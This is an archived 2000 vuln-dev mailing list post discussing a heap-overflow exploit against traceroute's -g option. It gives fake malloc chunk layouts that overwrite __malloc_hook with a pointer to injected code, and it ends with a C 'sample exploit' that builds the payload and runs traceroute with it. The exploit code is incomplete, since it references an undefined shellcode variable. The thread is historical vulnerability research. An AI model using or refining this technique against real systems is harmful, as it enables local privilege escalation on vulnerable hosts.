Vulnerability Development mailing list archives

Re: Traceroute exploit details


From: "Harrington, Perry" <pedward () WEBCOM COM>
Date: Tue, 3 Oct 2000 13:12:34 -0700


[I'm moving this over to vuln-dev...]

Got it, I'm there now.

    if (!(inuse_bit_at_offset(next, nextsz)))   /* consolidate forward */

That's the problem right there, if I recall correctly.  We have to have
the next chunk in reachable memory, which constrains the size - I don't

That's where the 'chunk_size' of rogue2 comes in, it's 0xFFFFFF01, which
wraps around when pointer arithmetic is done to it.  The 0x01 is XORed to
0 when PREV_INUSE is checked.  Since we don't want it to back-consolidate,
it's set to 1.  This wraps around to exactly the current location - 0xFF.

think anything is in reachable memory on a little-endian machine, where
the next chunk size comes immediately before a chunk being free()'d,
and thus in this case must end with a null terminating byte.

To make this exercise work, we would need 2 rogue malloc_chunks: rogue1 a=
nd rogue2.
=20
The fd and bk pointers in malloc_chunk could be used for the overflow:

Nope.  You're misunderstanding malloc_chunk's use.  Look at the
definition of mem2chunk: fd and bk are on the free list, and malloc
only looks at them if it assumes they are free.  The chunk only starts
2 * sizeof(INTERNAL_SIZE_T) before the pointer given, not
sizeof(malloc_chunk) as you assumed.

But free doesn't care.  It does a cast to get the 2 extra pointers.  The rogue2
block is probably wrong, it should just be 4 bytes of garbage and the size
0xFFFFFF01, which would make it purport to be a real malloc block.  chunk_free
checks the block adjacent to it, 256 bytes below the current block, which DOES
appear to be a free list block, so the pointers DO work.


In rogue 1, it would have the following values:
=20
prev_size =3D "CCCC"
size      =3D "CCCC"
fd        =3D __malloc_hook - 12
bk        =3D 0x804cd7a + 0x20 (our rogue code)
=20
In rogue 2, it would have the following values:
=20
prev_size =3D "CCCC"        (dead value)
size      =3D 0xFFFFFF01    (0xFFFFFF00 & 0x01 (PREV_INUSE)
fd        =3D "CCCC"        (dead unused value)
bk        =3D "CCCC"      (dead unused value)

You could make such chunks, hypothetically, but you'd be freeing a
chunk #3 after the both of them.

Nope, because the PREV_INUSE bit is set to 1 on both, so it's only going
to hop to the rogue1 chunk.  And because we left some dummy space
directly after the rogue1 chunk, it writes to harmless memory.

The first '-g' argument would look like this:
=20
offset      value
0x00        "CCCC"
0x04        "CCCC"
0x08        __malloc_hook - 12
0x0C        0x804cd7a + 0x0F
0x10        jmp +0x0F
 |
 |  garbage
 |
0x1F
0x20
 |
 |  code to execute
 |
0xF0        "CCCC"
0xF4        0xFFFFFF01
0xF8        "CCCC"
0xFC        "CCCC"

It's not at all easy to get that into a -g argument: (a) you need to
put the code somewhere else, there's a 64char or so length limit on -g
(b) there's character set restrictions.

The REAL limit turns out to be getopt.  It breaks the args on whitespace,
if it didn't, inet_addr would return 1 and savestr would be called.  The
limit is MAXHOSTNAMELEN, 256 bytes in the code.  As long as the complete
argument isn't >= MAXHOSTNAMELEN, it passes that check.  Inet_addr has
a check for validity which chokes our code:

        /*
         * Check for trailing characters.
         */
        if (c != '\0' && (!isascii(c) || !isspace(c)))
                goto ret_0;

So if you use a space, getopt only returns "1.1.1.1" as the arg to '-g'.
That's the delemma.


Also, as above, you're wrong about what goes where.  Note that the high
0xFF in the size will be forced to a zero, and the CCCC's are unneeded.

Umm, what do you mean?  How is it forced to 0?  We put the data in the struct
in the correct order and LSB swapping does the rest for us, see the attached
sample exploit for clarification.


You're trying to get chunk 1 and 2 consolidated; you can't do that.=20
This would work if you had some way to put data in memory just after
the unallocated area you try to free(), but in this case there's no way
to.

I don't have to put data in memory, I just have to trick free into reading
my memory block.

savestr allocates our memory like this:

0x00 ------ first -g argument ------ 0xFE 0xFF ----- second -g argument ----->

You give it a valid value for the second argument, since it tries to call free
in the middle of the memory chunk, it reads (second -g arg) - 0x08 and looks
at it's size, goes and looks at (second -g arg) + chunk_size to get the
adjacent malloc_chunk to see if it should consolidate forward, it encounters
our bogus free block at the beginning of (first -g arg) and reads the pointers
out.  Since we are modifying __malloc_chunk and (first -g arg) + 0x0F, it
doesn't go anywhere from there.  (first -g arg) is the 'next' reference in
the chunk_free code.


Dan


If that still seems wrong, you will have to elaborate a bit more.

Below is my sample exploit I was trying.

--Perry

#include <stdio.h>
#include <unistd.h>
#include <string.h>

extern void *__malloc_hook;

typedef struct glue {
        int     a;
        int     b;
        void    *p;
        void    *q;
} glue;

int main(void)
{
        int     ipa=0x2E312E31;
        int     ipb=0x20312E31;
        int     dummy=0x43434343;
        void    *mh=(void **)__malloc_hook;
        void    *us=(void *)0x804cd7a;
        char    buf[260];
        char    *prog="/tmp/traceroute";
        glue    temp;
        FILE    *out;

        printf ("malloc_hook %x code %x\n",mh, usage);

        memset(buf, 0x47,256);
        buf[255]='\0';

        printf ("buf: %s\n", buf);
        temp.a=ipa;
        temp.b=ipb;
        temp.p=mh;
        temp.q=us+16;

        memcpy(buf, (void *)&temp,16);
        printf ("buf: %s\n", buf);

        temp.p=(void *)dummy;
        temp.q=(void *)dummy;
        temp.a=dummy;
        temp.b=0xFFFFFF01;

        printf("code(%d)\n", sizeof(code));
        strncpy(buf+16, code, sizeof(code) -1);
        memcpy(buf+240, (void *)&temp, 0x10);
        printf ("buf: %s\n", buf);
        buf[254]='\0';
        
        out=fopen("/tmp/code","w");
        fputs(buf,out);
        fclose(out);

        execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL);

        return 0;
}

--
Perry Harrington                 Director of                   zelur xuniL  ()
perry () webcom com             System Architecture               Think Blue.  /\


Current thread: